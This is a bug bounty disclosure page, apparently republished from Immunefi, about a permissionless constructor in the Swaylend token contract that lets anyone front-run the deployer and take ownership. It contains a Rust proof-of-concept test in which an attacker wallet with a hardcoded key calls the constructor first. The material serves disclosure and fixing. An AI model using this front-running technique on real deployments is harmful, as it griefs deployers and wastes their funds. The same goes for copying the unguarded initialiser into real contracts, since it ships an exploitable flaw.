Permissonless constructor always for front-running owner initialization.
The token contract's constructor can be called by anyone, so an attacker can front-run the real deployer and set themselves as owner. This makes the deployer's own initialisation call fail, forcing a redeploy and wasting gas.
Originally disclosed on Immunefi
- Disclosed after under an hour
#35853 [SC-Medium] permissonless constructor always for front-running owner initialization.
Submitted on Oct 10th 2024 at 20:41:19 UTC by @SeveritySquad for IOP | Swaylend
- Report ID: #35853
- Report Type: Smart Contract
- Report severity: Medium
- Target: https://github.com/Swaylend/swaylend-monorepo/blob/develop/contracts/src-20/src/main.sw
- Impacts:
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
- Theft of gas
Description
Brief/Intro
The constructor of the SwayLend token allows anyone to front-run the real deployer of the contract and initialize themselves as the owner; this can lead to griefing and gas waste.
Vulnerability Details
On the call to the `constructor()` anyone can initialize themselves as the owner, causing subsequent calls to fail, forcing the deployers to always have to re-deploy the token, this will lead to waste of gas and griefing. ```rust fn constructor(owner_: Identity) { require( storage .owner .read() == State::Uninitialized, "owner-initialized", ); storage.owner.write(State::Initialized(owner_)); } ```
Mitigation
It is best to set the owner as configurable since there is no way to transfer ownership.
References
Proof of Concept
Proof of Concept
Add to contracts/src-20/scripts/deploy.rs to test.
```rust #[tokio::test] #[should_panic] async fn front_run_initialization() { use fuels::crypto::SecretKey; dotenv().ok();
// setup fuel provider
let rpc = std::env::var("RPC").unwrap();
let provider = Provider::connect(rpc).await.unwrap();
// setup wallet
let secret = std::env::var("SECRET").unwrap();
// let private_key: SecretKey = "6d39e7ec67f1414e804a52e33989d7162c18084f47e05fdbd04a2b653dc05391".parse().unwrap();
// let attacker: WalletUnlocked = WalletUnlocked::new_from_private_key(private_key, Some(provider.clone()));
let wallet: WalletUnlocked =
WalletUnlocked::new_from_private_key(secret.parse().unwrap(), Some(provider.clone()));
// deploy token
let configurables = TokenConfigurables::default();
let root = PathBuf::from(env!("CARGO_WORKSPACE_DIR"));
let bin_path = root.join("contracts/src-20/out/debug/src-20.bin");
let config = LoadConfiguration::default().with_configurables(configurables);
let mut rng = rand::thread_rng();
let salt = rng.gen::<[u8; 32]>();
let id = Contract::load_from(bin_path, config)
.unwrap()
.with_salt(salt)
.deploy(&wallet, TxPolicies::default())
.await
.unwrap();
let instance = Token::new(id.clone(), wallet.clone());
let private_key: SecretKey = "6d39e7ec67f1414e804a52e33989d7162c18084f47e05fdbd04a2b653dc05391"
.parse()
.unwrap();
let attacker: WalletUnlocked =
WalletUnlocked::new_from_private_key(private_key, Some(provider.clone()));
// simulate an attacker frontrunning the owners call to constructor.
instance
.clone()
.with_account(attacker.clone())
.methods()
.constructor(wallet.address().into())
.call()
.await
.unwrap();
// on the call to contructor by owner, the call will always fail.
instance
.methods()
.constructor(wallet.address().into())
.call()
.await
.unwrap();
} ```
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the constructor has no access control and only checks that the owner is uninitialised, so the first caller wins.
Impact
An attacker can grief the deployer and cause gas waste by forcing repeated redeployments; there is no direct theft of funds.
What the attacker needed
Attacker can submit a transaction before the deployer; contract is deployed with a predictable address
The fix
The owner should be set as a configurable value at deployment rather than through a permissionless constructor.
How it was found
- Deploy the token contract with a known salt.
- An attacker calls the constructor with their own address before the owner does.
- The owner's constructor call then fails because the owner is already initialised.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a smart contract is deployed, a special setup function called the constructor runs once to set things like who owns it. Here that function did not check who was calling it, so anyone watching the network could call it first and claim ownership. The real deployer's later call then fails because the contract thinks it is already set up.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.